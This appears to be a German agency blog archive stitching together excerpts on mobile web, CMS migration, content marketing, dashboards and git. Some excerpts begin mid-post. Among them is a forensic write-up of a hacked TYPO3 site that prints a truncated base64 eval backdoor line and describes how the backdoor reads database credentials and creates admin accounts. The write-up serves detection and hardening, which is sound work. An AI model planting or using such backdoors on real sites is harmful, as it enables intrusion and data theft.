Vorbei sind die Zeiten,  in welchen man für das Surfen noch auf einen Rechner mit Telefonleitung oder WLAN Verbindung angewiesen war. Gemäss einer Studie von Chitika (iOS passes Mac OS in Share of Web Traffic Propelled by Sales for Mobile and Tablet Devices) überstieg der Datenverkehr in den USA über iOS Geräte (also iPhone, iPad, etc.) denjenigen von Mac OSX Systemen. Abgesehen davon, dass sich die Erhebung  auf Zahlen stützt, die über das Chitika Ad Network erfasst wurden, lässt sich ein klarer Trend erkennen. Das Mobile Internet wird immer populärer und dementsprechend werden sich auch die darin angebotenen Inhalte verändern.

Zwei weitere Zahlen unterstreichen diesen Trend: Bis Ende 2012 gibt es mehr Mobiltelefone als Menschen (More Mobiles Than People Worldwide by the End of 2012). Samsung rechnet für 2012 ebenfalls damit, dass 29% aller Mobiltelefone Smartphones sein werden, das sind über 500 Millionen! (Samsungs says smartphones will make up 29 percent of the market in 2012)

Anbieter von Internetseiten stehen also vor zwei grossen Herausforderungen:

1. Sind meine Inhalte fit für mobiles Surfverhalten?
2. Ist meine Website fit für mobile Endgeräte?

Wir gewähren Ihnen deshalb in unserer Designkantine einen Einblick in die Stossrichtung “Mobile First” und wenden das Wissen gleich mit Ihnen in einem kleinen Workshop an.

Am 15. März 2012 von 12.00 – 14.00 Uhr servieren Ihnen Claus Medvesek , Philipp Flunkert und Björn Amherd im Namics Office in Zürich ein Menü mit vier unschlagbaren kulinarischen Höhepunkten.

Melden sie sich gleich an! (die Plätze sind beschränkt)

Vom Plan zum Projektbetrieb.

Bewährt hat sich hierbei eine zyklische Ausarbeitung bestehend aus den Schritten Analyse, Code-Änderung, Content-Änderung, Probelauf und Test. Um diesen Projektbetrieb überwachen und steuern zu können, ist der Einsatz eines Ticketsystems sehr wichtig. Denn nur somit kann gewährleistet werden, dass alle Beteiligten unmittelbar neue Aufgaben erfassen können und alle wichtigen Aufgaben auch rechtzeitig erledigt werden. Dies beschleunigt auch die Durchführung der Migrationsprobeläufe, denn der jeweilige Lauf kann oftmals mit Hilfe eines Workarounds fortgesetzt werden, während die Analyse und Behebung des Tickets parallel erfolgen kann, z.B. auch gemeinsam mit dem Produkthersteller.

Parallelisierung der Migrationsprobeläufe.

Ebenfalls wichtig ist, dass es eine Ablage gibt, wo die Migrationsschritte kontinuierlich erfasst und gepflegt werden können. Sie dient als Anleitung, die stets auf dem aktuellen Stand ist und für Probeläufe genutzt wird. Werden Fehler oder Lücken festgestellt, müssen sie unmittelbar vom jeweiligen Mitarbeiter erfasst werden können. In der Vergangenheit haben sich Ticket-Systeme und Wikis hierfür als sehr geeignet erwiesen. Für den GoLive kann dann hieraus eine Checkliste erstellt werden.

Fehler beheben und Migrationsanleitung anpassen.

Die Anleitung und Hilfsskripte sind die Ergebnisse, die für den GoLive erarbeitet werden müssen. Gemeinsam mit dem neuen Standardprodukt, auf das migriert wird, bilden sie die Grundlage für die erfolgreiche Inbetriebnahme.

Weitere Artikel dieser Blog-Serie

• CMS-Migration auf der tekom Jahrestagung 2011
• Content-Migration und die Schnittstellen
• CMS-Migration – Das Projekt planen

Hier folgt ein Bericht meiner Spurensuche in der Hoffnung, dass Anderen mit den selben “Krankheitssymptomen” geholfen werden kann.
Als erstes habe ich mich auf dem System, im TYPO3 Backend und auf dem Server etwas umgesehen. Dabei handelte es sich nicht um eine “verwahrloste” Webseite sondern um eine recht gut ausgebaute Plattform mit einem relativ aktuellen TYPO3 Core und einem sauberen Aufbau und umfangreicher Funktionalität. Ein eher grosser Auftritt.

Gefährliche Extensions

Auf Anhieb sind mir jedoch einige potenziell (sehr) gefährliche Extensions aufgefallen, die auf einem Live-System nichts verloren haben: “t3quixplorer” – erlaubt die Navigation auf dem Filesystem mehr oder weniger uneingeschränkt und ermöglicht das Bearbeiten von PHP-Scripts direkt über das Webinterface – der reinste Security-Alptraum. Es ist nicht auszuschliessen, dass diese Extension von einem der Angreifer installiert wurde. “devlog” ist eine Extension welche zu Entwicklungszeiten nützlich sein kann – jedoch nicht in einem Live-System. Ein anderer Kandidat, welcher jedoch nicht installiert war, ist die “phpmyadmin” Extension, welche oft aus Bequemlichkeit installiert wird. Auch diese Extension stellt ein beträchtliches Sicherheitsrisiko dar. Im übrigen beinhaltete das System einige “handgemachte” Extensions – schnell zu erkennen an fehlenden Icons und der aussagekräftigen Versionsnummer 0.0.0 – Stable? Ja genau!

Backend-User

Ich habe ausserdem alle Backend-User überprüft und mit dem Kunden zusammen sichergestellt, dass keine unbekannten Nutzer registriert waren. Sollte dies der Fall sein, würde ich empfehlen, alle User neu anzulegen und neue, sichere Passwörter zu vergeben.

Spurensuche im Dateisystem

Danach habe ich mich etwas vertieft auf die Spurensuche gemacht. Aus Erfahrung weiss ich mittlerweile, wonach ich suchen muss. Eine Suche im Filesystem nach “base64_decode(” führt meist zu verdächtigen Code-Zeilen oder Dateien:

Meist sind infizierte Dateien im Ordner typo3conf/ zu finden. Darin befinden sich die von TYPO3 auszuführenden Extensions. Der Code darin kann potenziell schädlich sein.
Auf diese Weise bin ich auf zwei verdächtige Dateien gestossen. Eine Datei war in einer nicht öffentlichen, für Kundenbedürfnisse entwickelten Extension enthalten. Die andere im ./uploads/ Ordner der bekannten Newsletter-Extension tx_directmail.

./uploads/tx_directmail/trololo.php:<?php eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaV
lYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RX
YW1JeVVteExRMHBoVjBad2IxbHJUbTloVm14WlZHMTRUMkZzU20x…

In beiden Fällen war es dem Angreifer möglich, über ein ungenügend geschütztes Formular PHP-Dateien auf das System zu laden. Geschieht dies, und sind diese Dateien auch ausführbar, hat man verloren.
Bei genauerem Hinsehen habe ich in der handgestrickten Extension gleich noch mehr zerstörerische Dateien gefunden welche die unscheinbaren Namen “class.php” und “footer.php” trugen. Ich musste erst beim Dienstleister des Kunden nachfragen, um sicher zu stellen, dass es sich wirklich um bösartige Dateien handelte. In diesen Fällen hatten die Angreifer ganze Arbeit geleistet – auch das Erstelldatum war ein weit zurückliegendes. Oft kann man im System auch einfach nach Files suchen, die im Zeitraum des Hacks verändert wurden. Ich konnte diesen durch verdächtige Files auf etwa 76 Tage zurückliegend vermuten und bin mit dem Befehl

auf weitere verdächtige Dateien gestossen. Da im Ordner typo3conf während dem Betrieb eigentlich keine Dateien geändert werden sollten, sind dies zumindest dort, nur eine Hand voll. Mein Tipp: in typo3conf/ext/ darf auf einem Live-System gar nichts geändert werden können. Dem Server (Apache) sollen also alle Schreibrechte auf typo3conf/ext/ entzogen werden. Auch localconf.php darf nie verändert werden – damit wird es für einen Angreifer sehr schwer, nachträglich Extensions zu installieren, ohne dass er Serverzugriff hat.

Bereits erwähnte class.php war mehrfach base64 encoded und nachdem ich diese mehrfach decodiert hatte wurde ihr Zweck offensichtlich. Sie leitet die Benutzer welche von viagra-verseuchten Google-Resultaten kommen auf die russischen Verkaufsseiten weiter:

Ja ist denn heut’ schon Weihnachten?

Bei der Analyse von ./uploads/tx_directmail/trololo.php wurde ich leicht überrascht. Ebenfalls nach mehrmaligem encoden kam folgendes zum Vorschein:


Ein ausgewachsenes Backdoor! Inklusive Passwortschutz. Klar russischen Ursprungs. Mit diesem Tool kann man auf einem Server so ziemlich alles machen. Dateien erstellen, löschen, bearbeiten, Rechte setzen. Damit kann man die localconf.php auslesen – dort steht (meist) der MySQL User und das Passwort im Klartext. Somit kann der Angreifer auch auf die Datenbank zugreifen. Doppelt dumm, wenn der gleiche User auf mehrere Datenbanken Zugriff hat. Wenn man localconf.php nicht schreibgeschützt hat, kann er ausserdem ein neues Install-Tool Passwort erstellen. Damit kann er sich dann einen Backend-Administrator erstellen – etwas einfacher als direkt über die DB. Netterweise nennt TYPO3 bei einer missglückten Anmeldung am Install-Tool auch gleich den dazu benötigten MD5 Hash den man dann nur noch im localconf.php eintragen braucht.
Das Backdoor in Action:

Und weiter geht’s…

Nachdem ich die Suche bereits abbrechen wollte – es war mittlerweile schon spät – bin ich im fileadmin/ in den Templates der Webseite auf eine weitere mysteriöse Datei gestossen – eine PHP Datei unter den CSS Files; en.php
Diese enthielt neben den verdächtigen base64 Codes auch noch folgenden aufschlussreichen Text:

Codz by angel(4ngel)
Make in China
Web: http://www.4ngel.net

Die Chinesen waren also auch am Werk! Nach erneut mehrmaligem Encodieren und Entfernen eines Passwortschutzes wurde offensichtlich, dass die Chinesen den Russen mittlerweile – zumindest im Design – voraus sind. Ebenfalls eine mächtige Hintertüre – einmal in schön.

Fazit, Suche, Massnahmen

Abschliessend konnten wir den Grossteil des Hacks wohl innerhalb einiger Stunden finden und entfernen. Nach dem der übliche Selbstheilungsprozess von Google eingesetzt hatte sind nun die Suchresultate wieder frei von Viagra. Für die Suche nach infizierten Files benutzen wir die Dateisystemsuche nach den Begriffen eval() und base64_decode(), Datumsangaben, verdächtige PHP-Dateien an unüblichen Orten – PHP-Files im uploads Ordner oder in andern Ordnern mit normalerweise statischen Inhalten. Auch eine Hilfe für das schnelle Finden von Schadcode kann sein, wenn die TYPO3 Temp-Files im typo3conf/ Ordner nach base64_decode durchsucht werden. Diese Dateien werden von Typo3 geladen und enthalten einen Zusammenzug vieler ausgeführter Dateien. Oft sieht man dort schnell, ob, und wo ungefähr, ein System vom “Pharmahack” befallen ist. Handgemachte Extensions die nie den Weg ins TYPO3 Repository gefunden haben sind ein erhöhtes Sicherheitsrisiko. Alle Formulare mit Upload-Funktionalität sind ein möglicher Angriffspunkt. Auch in die Datenbank sollte man einen Blick werfen. Es kann sein, dass in den Tabellen von RealURL unerwünschte Weiterleitung enthalten sind. Auch in tt_content oder in der pages Tabelle kann nach Viagra gesucht werden. Ausserdem sollte man alle Cache-Tabellen leeren.

Die befallenen Dateien und Extensions werden gesäubert oder entfernt. Nicht (mehr) benötigte Extensions sollten vom System gelöscht werden – nicht nur deaktiviert! Unnötige Backend- und Frontend-User sollten ebenfalls gelöscht und die Passwörter sicherheitshalber angepasst werden.
Alle Schreibrechte für den Server sollten auf typo3conf/ext und auf der localconf.php entfernt werden. Dies gilt selbstverständlich auch für den ganzen TYPO3-Core. Sicherheitshinweise von TYPO3 sollten ernst genommen werden:

Das Install-Tool kann auf dem Live-System entfernt werden und der Zugriff auf das Backend nur für einen bestimmten IP-Range, vielleicht über eine spezielle Sub-Domain und zusätzlich mit einem .htaccess Schutz, versehen werden. Auch HTTPS für das Backend schadet kaum.
Natürlich sollte darauf geachtet werden, dass TYPO3 und verwendete Extensions auf einem aktuellen Stand sind. TYPO3 Bug-Fix Releases sollten wenn möglich immer installiert werden da diese Security-Fixes enthalten und normalerweise problemlos zu installieren sind.

Im obigen Beispiel ist die KPI-Struktur für eine Bank mit den entsprechenden Segmenten abgebildet. Natürlich ist dann pro Segment ein DrillDown möglich, z.B. zu

• Anzahl bestellte Karten (Maestro, Kreditkarten, etc.)
• Anzahl Kontoeröffnungs-Beantragungen (Privatkonto, Sparkonto, etc.)
• Anzahl Beratungsanfragen (Allgemein, Hypotheken, etc.)

Die Segmentierung resp. Kategorisierung kann absolut frei definiert werden und damit eignet sich das Dashboard natürlich auch für alle anderen Branchen, welche Leads und/oder Conversions über die Online Kanäle generieren.

Warum dieses Dashboard?

Im Kern geht es darum, auf die geschäftsrelevanten Zahlen zu fokussieren, welche über den Online-Kanal reinkommen. Diese werden gemessen und zuverlässig in einem einfachen, management-tauglichen Frontend dargestellt - ohne die ganzen SchnickSchnack-Zahlen wie Browser-Verteilung, Geräteverteilung, etc.. Denn unter dem Strich gehts auch im Online-Bereich immer um dasselbe: Umsatz und Ertrag. Und da zählen halt nur konkrete Leads & direkte Conversions.

Wenn sie also für das Management ein Performance Dashboard mit den wichtigsten Online KPI’s brauchen und das in Ihrem AnalyticsTool nicht so einfach management-tauglich umsetzbar ist – können wir ihnen das Namics Performance Dashboard gerne näher vorstellen. Als Ansprechpartner stehen ihnen Emanuel Bächtiger, Martina Klose oder ich jederzeit zur Verfügung.

PS: Für die speziell Interessierten gibt es ein internes Video zum Performance Dashboard – nicht perfekt gemacht, aber es gibt einen detaillierteren Einblick.

Facebook macht es nun noch ein bisschen netter: Mit einer exklusiven Club und der folgenden “White Hat Bug Bounty” Visa Karte:

Für jeden gefundenen Fehler gibt es eine Gutschrift von mindestens USD 500 auf die Karte, auf Wunsch eine Nennung auf https://www.facebook.com/whitehat/ und die Aussicht auf eine Einladung an eine exklusive Party. Die Jungs verstehen Community.

Eine ziemlich coole Idee und extrem kosteneffizient wenn man dran denkt, was ein publiziertes Sicherheitsproblem -Fehler kosten kann. Und hier noch die anderen Spielregeln der Aktion.

Die Marketingregeln haben sich geändert. Die Internet- und Social-Media-Revolution bedingen eine deutliche Veränderung des Konsumentenverhaltens. Diese führt zur Wirkungslosigkeit von Werbebotschaften, da Käufer gelernt haben, die aufmerksamkeitsheischenden Behauptungen der Werbeindustrie zu ignorieren. Kein Wunder, ist doch die durchschnittliche Person gemäss einer berühmten Studie von Yankelovich täglich 5‘000 Werbebotschaften ausgesetzt, die meist völlig unbemerkt an ihr vorbeiziehen. Das Auffassungsvermögen des Menschen ist beschränkt und jeder wählt selbst, worauf er seine Aufmerksamkeit richten will.

Die Ausgangslage: Die allwissenden Käufer
Wenn Konsumenten heute bereit sind, mit einem Unternehmen zu interagieren, sind sie bereits mit einer Vielfalt an Informationen über die Firma, deren Produkte und Dienstleistungen ausgestattet. Genau darin besteht das immense Potential von Content Marketing, welches die oberflächlichen Werbespots mit einnehmenden, überzeugenden und nicht zuletzt Absatz fördernden Inhalten ersetzt. Die in Sachen Internet sehr bewanderten Konsumenten haben das unerfüllte Bedürfnis nach qualitativ hochwertigen, relevanten, nützlichen, interessanten und Mehrwert bietenden Inhalten, die ihnen helfen, ein in jeder Hinsicht produktiveres, angenehmeres und erfolgreicheres Leben zu führen.

Was ist Content Marketing?
Gemäss einer frei übersetzen Definition des Content Marketing Institute ist Content Marketing eine Marketingtechnik der Erstellung und Verbreitung von relevanten und wertvollen Inhalten für ein klar definiertes Zielpublikum mit dem Ziel der Kundenbindung, Kundengewinnung und Umsatzsteigerung. Content Marketing ist die Kunst zu verstehen, was genau Ihre Kunden wissen müssen, um es ihnen auf relevante und überzeugende Art zu liefern – mit dem Ziel des Umsatzwachstums.

Die entscheidenden Gründe für Content Marketing
Die heutigen Käufer haben keine Geduld, sich von ungewollten Werbebotschaften berieseln zu lassen. Sie surfen nicht ziellos im Internet herum in der Hoffnung, plötzlich von Marketingbotschaften erreicht zu werden. Und sie sitzen ganz bestimmt nicht herum und warten darauf, von den Herstellern zu hören. Kurzum: Konsumenten wollen nicht, dass man ihnen etwas verkauft. Sie möchten sich eine eigene Meinung aufgrund selbständiger Informationsrecherchen bilden. Aus diesem Grund brauchen sie Inhalte, die sie informieren und ihnen wertvolle Entscheidungsgrundlagen liefern. Unternehmen, die solche Informationen bieten, werden bestehen. Solange die Käufer nachvollziehbare, stichhaltige und relevante Antworten bekommen, ist es sekundär, woher diese Antworten kommen. Konsumenten sind völlig offen, aus qualitativ hochwertigen Inhalten zu lernen, egal, ob diese aus den Medien, Unternehmensnewslettern oder Firmenwebsites, privaten Blogs oder RSS-Feeds stammen.

Unternehmen sind die neuen Medien
Gemäss Alexa wird die Top 10 der weltweit meistbesuchten Websites von Suchmaschinen, Social Media und Branded-Content-Websites wie YouTube belegt. Genau auf solchen Websites erstellen und vermarkten viele Unternehmen eigenen Content. Suchmaschinen wie Google haben Inhalte so stark demokratisiert, dass jeder mit etwas gutem Content und ein wenig Wissen über suchmaschinenrelevante Aspekte seine Inhalte relativ schnell auf hohe Positionen in Suchresultaten bringen kann. Käufer wollen möglichst rasch an die gesuchten Informationen kommen und Suchmaschinen helfen ihnen dabei. All dies bedeutet, dass Sie als Unternehmen die Möglichkeit haben, ehemals grundlegende, mediale Informationsquellen mit Ihrem eigenen, qualitativ hochwertigen Content zu ersetzen. Sie können rechtzeitig, wohlüberlegt und nachvollziehbar relevante Informationen kommunizieren. Ihr Unternehmen kann damit zum neuen Meinungsbilder bei potentiellen Kunden avancieren.

Reichweitenverlust der traditionellen Medien
Was sich als weltweiter Trend manifestiert, stellt man auch hierzulande fest: Die traditionellen Medien wie Tageszeitungen, Radio und Fernsehen werden in der Schweiz immer seltener genutzt. Zu diesem Schluss kommt das Jahrbuch Qualität der Medien 2011 des Forschungsbereichs Öffentlichkeit und Gesellschaft (fög). Auch die WEMF AG für Werbemedienforschung stellt seit Jahren bedeutende Auflagenrückgänge der Schweizer Zeitungen fest. Der gravierende Nutzungsschwund der Informationsmedien ist am stärksten bei den Informationssendungen des Fernsehens, beim Radio und den Abozeitungen. Die Zunahme bei den Nachrichtenseiten im Internet hat sich nicht nur abgeflacht, sondern sie kann den Schwund bei den älteren Medien auch nicht auffangen. Die Abdeckungsquote der Schweizer Bevölkerung mit Nachrichten aus dem Internet ist – wie der fög feststellt – weit hinter Fernsehen, Zeitungen und Radio zurückgeblieben. Zwischen 2001 und 2010 ist rund ein Drittel der Werbeeinnahmen von Informationsmedien weggefallen, während Auflagerückgänge zu Verkaufsverlusten geführt haben. Schuld sind die Veränderungen der Geschäftsmodelle der traditionellen Medien einerseits, die sich in Pendlerzeitungen und kostenlosen Webangeboten ausdrücken, und die Abwanderung der Nutzer ins Internet andererseits. Dies bedeutet, dass die traditionellen Medien die Marketingbotschaft Ihres Unternehmens immer seltener an Ihre potentiellen Kunden abliefern. Als Marketingfachfrau oder -fachmann kann man sich nicht mehr darauf verlassen, dass Werbebotschaften in den klassischen Medien bei der erwünschten Zielgruppe ankommen.

Unternehmen kennen Ihre Kunden besser als die Medien
Besonders interessant ist, dass zahlreiche Unternehmen über Datenbanken mit umfangreichen und häufig sehr spezifischen Kundeninformationen verfügen und mehr über ihre Kunden wissen, als ein Medienunternehmen jemals wissen wird. Da ist es nicht nur naheliegend, sondern auch unabdingbar, die Datenbanken einzusetzen, um mit gezielten Content Marketing Bestrebungen und Kampagnen einen fokussierten Dialog mit Kundengruppen einzuleiten.

Qualitätsverlust der klassischen Medieninhalte
Budgetkürzungen führen nicht nur zu einer Konsolidierung der Medienlandschaft. Die knappen Ressourcen der Medienhäuser bedingen das Abwandern der besten Journalisten und den zunehmenden Qualitätsverlust der Medieninhalte. Wie das fög-Jahrbuch Qualität der Medien 2011 feststellt, sieht es bei Gratisangeboten und online nicht besser aus: Die Gratiszeitungen und Newsportalen im Internet konzentrieren sich auf Softnews, d.h. Sex, Verbrechen, Unfälle und Unterhaltung, wobei episodenhafte statt einordnende Berichterstattung vorherrscht, die Fehlerquote hoch ist und die Betrachtung von Systemproblemen zugunsten von personalisierter Berichterstattung in den Hintergrund tritt. Die Welt wird als ein in Einzelereignisse zerstückeltes Universum dargestellt.

Das Wissensbedürfnis der Öffentlichkeit ist ungebrochen. Vor dem Hintergrund des Qualitätsverlusts traditioneller Medieninhalte benötigen Konsumenten, Käufer und Kunden gute Informationen heute dringender denn je. Die Frage ist: Wenn die klassischen Medien dieses Informationsbedürfnis nicht stillen können, wer dann? – Hier kommen Sie und Ihr Unternehmen ins Spiel. Sie erleben eine sehr spannende Zeit, denn heute haben Sie die Möglichkeit, die klaffende Content-Kluft mit Ihren hochwertigen, lösungsorientierten und nützlichen Inhalten zu schliessen.

Verkaufen wird immer schwieriger
Je informierter Konsumenten sind, desto schwieriger kann man ihnen etwas verkaufen. Content Marketing bedeutet, einen Dialog mit Ihren Kunden zu initiieren und zu pflegen. Sie können das genau so tun, wie es die Medien seit Jahrzehnten vorgemacht haben: Bieten Sie Ihren Kunden Inhalte, die man lesen muss, weil es sich lohnt, sie zu lesen. Ihre Kunden werden es Ihnen mit Loyalität, Interesse und Interaktionen verdanken und auf Ihre Botschaften eingehen. Sie hungern nämlich nach Content, der Ihre Probleme und spezifischen Anliegen löst und Ihr Leben verbessert. Wenn Sie sich bei Ihren Kunden als Informationsquelle durchsetzen, werden Sie sich auch als Produkt- und Dienstleistungsquelle etablieren. Es ist weder nötig noch wünschenswert aggressiv an Menschen zu verkaufen, die nicht wollen, dass man ihnen etwas verkauft. Stattdessen werden Unternehmen, die sich als «Thought Leaders» zu einem Thema behaupten, automatisch zu den offensichtlichen Anbietern bezahlter Lösungen in diesem Bereich.

Technologie wird immer erschwinglicher
Heute ist die Technologie so erschwinglich geworden, dass sich die technologische Machtbalance weg von den grossen Medienunternehmen zu Unternehmen aller Grössen verlagert. Nur vor wenigen Jahren wäre es unvorstellbar gewesen, dass eine kleine Firma ohne negative finanzielle Folgen eine Website betreiben und täglich aktualisieren kann. Heute ist dies dank WordPress und weiteren kostenlosen Lösungen gang und gäbe. Sogar sehr kleine Unternehmen können heute anspruchsvolle Online-Gefässe wie Websites, digitale Magazine und Newsletters erstellen sowie immense Kundendatenmengen verwalten. Somit werden Zwischenhändler (wie die Medien bislang) obsolet. Ihr Unternehmen hat erschwingliche und einfach verwendbare Technologien zur Verfügung, die es Ihnen ermöglichen direkt mit Ihren Kunden zu kommunizieren. Damit reduzieren Sie nicht nur finanzielle Aufwände, sondern auch Streuverluste, indem Sie die Genauigkeit und den Fokus Ihrer Kampagnen steigern. Denn es ist sinnlos guten Content zu schaffen, wenn man ihn nicht an das erwünschte Zielpublikum abliefern kann.

Hochwertige Inhalte kommen zunehmend von Unternehmen
Immer mehr Unternehmen haben Ihre Content Marketing Hausaufgaben gemacht und die besten Journalisten und Texter zu sich geholt. Den «Unternehmensautoren» stehen nicht nur grosse Mittel für das Schreiben und Recherchieren zur Verfügung, sie geniessen auch kreative Freiheiten, die ihnen die Medienhäuser kaum bieten können. Denn smarte Unternehmen haben verstanden, dass guter Content der neue Haupttreiber im Marketing ist.

Fazit: Seien Sie die Content-Quelle
Guter Content liegt gutem Marketing zu Grunde. Ihre Käufer wollen und brauchen guten Content und sie sollten diesen von Ihnen erhalten. Finden Sie Ihre Content-Nische und werden Sie die neue glaubwürdige Content-Quelle für ihre bestehenden und zukünftigen Kunden. Jetzt ist die Zeit dafür!

Mit Wunderkit soll dieses Erfolgsgeschichte nun fortgesetzt werden. Dieses mal als – wenn wundert’s – als Projektmanagement Tool. Neben dem typischen Wunderlist Interface, welche der Joy-of-Use Philosopie folgt, spielen vorwiegend soziale Elemente eine entscheidende Rolle.

Jedes in Wunderkit erstellte Projekt kann entweder öffentlich oder privat publiziert werden. Was soviel bedeutet, dass man sich entweder zu einem Projekt hinzufügen kann oder eingeladen werden muss.

In der aktuellen Beta verfügt Wunderkit allerdings neben dem Dashboard nur über zwei weitere Werkzeuge. Einer an der Wunderlist angelehnte Taskliste, welche kommentiert werden kann und einem Bereich für Notizen in den Memos und Besprechungsprotokolle, etc. abgelegt werden können.

Darüberhinaus wird natürlich auch die twittermässige Benachrichtigung zu Statusupdates und die von der Wunderlist bekannte Plattformunabhängigkeit (OSX, iOS, Androide, Windows) ein starkes Argument für mich sein, dieser App eine Chance zu geben. Allerdings fehlen sowohl zusätzliche Erweiterungen (z.B. eine Timeline, Budgetplanung etc. ) oder innovative Ansätze wie sie beispielsweise bei trello oder team.fm. Aber mal abwarten, was sich da noch tut.

Wer sich für Wunderkit interessiert kann sich auf deren Website registrieren lassen oder sich hier den Screencast ansehen:

Letzten Freitag habe ich mich im Rahmen der Vorbereitung für einen internen Workshop etwas tiefer in Git (Ein Source Control Management System à la SVN) eingearbeitet. Während der Einarbeitung viel mir auf, das viele Grundlagen – trotz diverser vorhandener Anleitungen und Bücher – nicht einfach zu verstehen sind. Ich habe mir überlegt, wie man diese einfacher erklären könnte. Dazu ist als kleines Projekt eine Anleitung zum Einstieg in git entstanden. Primär um das Thema selbst besser zu verstehen und den Kollegen als Dokument zu geben…

Die Seite befindet sich unter:
http://rogerdudler.github.com/git-guide

Da auch andere die gleichen Verständnisprobleme gehabt haben könnten, habe ich den Link auf Twitter geteilt. Am Montag landete der Link dann irgendwie auf news.ycombinator.com und verbreitete sich innert weniger Stunden zusätzlich über Twitter & Co. Das Zwischenfazit nach 3 Tagen lautet: Über 50’000 Besucher & 3’500 Tweets. Nachfolgend ein paar der Tweets:

A simple guide for getting started with git j.mp/xKYdgd

— news.yc Popular (@newsycombinator) Januar 9, 2012

Una forma súper fácil de aprender a usar GIT. mdw.li/yQw9CI #mejorandogit

— Christian Van Der H (@cvander) Januar 9, 2012

git – the simple guide bit.ly/ys6dGP (this is awesome) #git #awesome /via @peolanha

— Ben Alman (@cowboy) Januar 9, 2012

Mittlerweile wurde der Guide von netten Leuten aus der Community neben Englisch und Deutsch in Französisch, Italienisch, Spanisch & Russisch übersetzt.

Meine Learnings für solche Projekte

• grosser Tweet Button (Facebook, G+ nicht zwingend)
• einfaches und zeitgemässes Design
• Kommentarmöglichkeit (z.B. Disqus)
• einfache Contribute Möglichkeit (z.B. GitHub)
• Während der Buzz Phase aktiv auf Kommentare reagieren
• Veröffentlichungszeit beachten (auf USA Rücksicht nehmen)
• Auf Tech-News Seiten posten (dzone, reddit, etc.)
• Knackiger Titel (damit das tweeten leichter fällt)

Dieser Blog Post soll andere Entwickler motivieren, mehr ihrer Gedanken & Arbeiten zu veröffentlichen. Auch dann, wenn sie vielleicht denken, dass hundert Andere das besser können – oder auch schon darüber geschrieben haben.

Dank Nina Jaeschke gibt es nun übrigens auch ein Cheat Sheet (PDF) zum Download. Ich freue mich schon auf die nächsten Projekte. Infos gibt’s jeweils zuerst über Twitter (@rogerdudler)

TYPO3 wird oft nachgesagt, es könnte sich im Enterprise-Umfeld nicht bewähren und wäre daher für Unternehmen, die mehr und mehr Geschäftsprozesse online realisieren möchten, nicht geeignet. Die SHKB ist angetreten mit uns das Gegenteil zu beweisen und hat sich an dieser Stelle für die sichere Variante entschieden: Mit Namics holte sie sich 16 Jahre Erfahrung und Know-how im Aufbau und Betrieb von Content Management Systemen (CMS) verschiedenster Grössen und Sorten ins Haus.

Transparenz und Vergleichbarkeit in der Produktdarstellung
Bereits in den ersten Sitzungen wurde uns klar, dass die Schaffhauser Kantonalbank in vieler Hinsicht Mut zur Erneuerung bestehender Denkmuster besitzt. So ist sie mit dem neuen Auftritt eine der wenigen Banken in der Schweiz, die die Konditionen ihrer Produkte, also die Darstellung der Kosten für ihre Kunden nicht mehr auf einer Extraseite oder in einem PDF versteckt, sondern zusammen mit dem Produkt auf einer Seite anzeigt.

Direktabschluss per Formular
Ebenfalls neu ist die Möglichkeit Produkte per Online Formular direkt abzuschliessen. Die Schaffhauser Kantonalbank ist hierbei unserer Empfehlung gefolgt und stellt Produkte tabellarisch in Spalten nebeneinander dar, um sie für den Kunden möglichst einfach vergleichbar zu machen. Ein direkter Kundenwunsch, den wir in Kundenbefragungen zum Thema Hypothekenrechner identifizieren konnten.

SHKB setzt auf das Performance Dashboard von Namics
Damit der Erfolg der neuen Website auch in Zahlen gemessen werden kann, setzt die SHKB auf das Performance Dashboard von Namics. Zukünftig hat sie damit jederzeit und auf extrem einfache Weise einen Überblick über die von der Website abgesendeten Kontaktanfragen und Abschlüsse, kategorisiert nach Produkten und Themen.

Mit dem Launch der neuen Seite wurde ein Punkt bewiesen:
Schaffhausen mag vielleicht nicht der grösste Kanton der Schweiz sein, besitzt aber mit der SHKB eine Kantonalbank, die den unbedingten Willen zur Innovation von Dienstleistungen und deren Kommunikation besitzt.

Wie bei den meisten IT Projekten bestehen bei einem Migrationsprojekt ebenfalls viele Abhängigkeiten und Rahmenbedingungen, die eine sorgfältige Planung erfordern. Hinzu kommt jedoch, dass bei Live-Gang des neuen Systems ein Zeitraum entsteht, in welchem keine Änderungen an den Inhalten vorgenommen werden können (Content-Freeze). Dies kann unternehmenskritisch sein, wenn zeitkritische Änderungen in diesem Zeitraum durchgeführt werden müssen, wie z.B. Marketing-Aktionen, Preisänderungen oder stichtagsbezogene Inhaltsänderungen aufgrund gesetzlicher Änderungen. Gibt es neben inhaltlichen Änderungen auch einen Bedarf für zeitkritische, funktionale Änderungen, so gewinnt der Zeitraum, in welchem keine Änderungen am Quelltext des Systems vorgenommen werden dürfen, an Bedeutung (Code-Freeze).

Rollout-Strategien

Es gibt nun verschiedene Rollout-Strategien, um mit dieser Herausforderung umzugehen. Die klassische Strategie ist ein Big Bang, bei welchem die Schritte Code-Migration, Content-Migration, Test und GoLive sequentiell durchlaufen werden. Sollten resultierende Zeiträume für Code- und Content-Freeze zu hoch sein, so bieten sich Varianten an. So kann zur Verkürzung des Content-Freeze eine zweistufige Migration durchgeführt werden, wie unten dargestellt.

Rollout-Strategie Big Bang, zweistufig

Dabei erfolgen die Content-Migration und das Testen zweistufig. In der ersten Stufe geschieht dies einmal vollständig, jedoch ohne Content-Freeze. Man hat somit mehr Zeit, da der Produktivbetrieb nicht beeinträchtigt wird, allerdings müssen die zwischenzeitlich anfallenden Änderungen nachgepflegt werden in einer Stufe 2 (Delta-Migration). Es muss von Fall zu Fall geprüft werden, ob diese Nachpflege manuell oder automatisiert erfolgen soll. Eine weitere Reduktion kann erfolgen, indem der Content in Segmente unterteilt wird. Idealerweise so, dass jede Autorengruppe nur von einem oder wenigen der Content-Freezes betroffen ist (siehe unten).

Rollout-Strategie Segmentweise mit Parallelentwicklung

Um den Code-Freeze zu entschärfen kann eine Parallelentwicklung erfolgen. Dabei werden Quelltexte für altes und neues System parallel weiterentwickelt.
Bei Systemen mit hoher Ausfallsicherheit sollte das neue System parallel auf neuer Hardware aufgebaut werden, um jederzeit in der Lage zu sein, auf das Altsystem zurückschalten zu können. Zudem sollte mindestens eine Generalprobe für den GoLive eingeplant werden, um die Umstellung in dem oftmals engen Zeitfenster ohne Verzug vollziehen zu können.

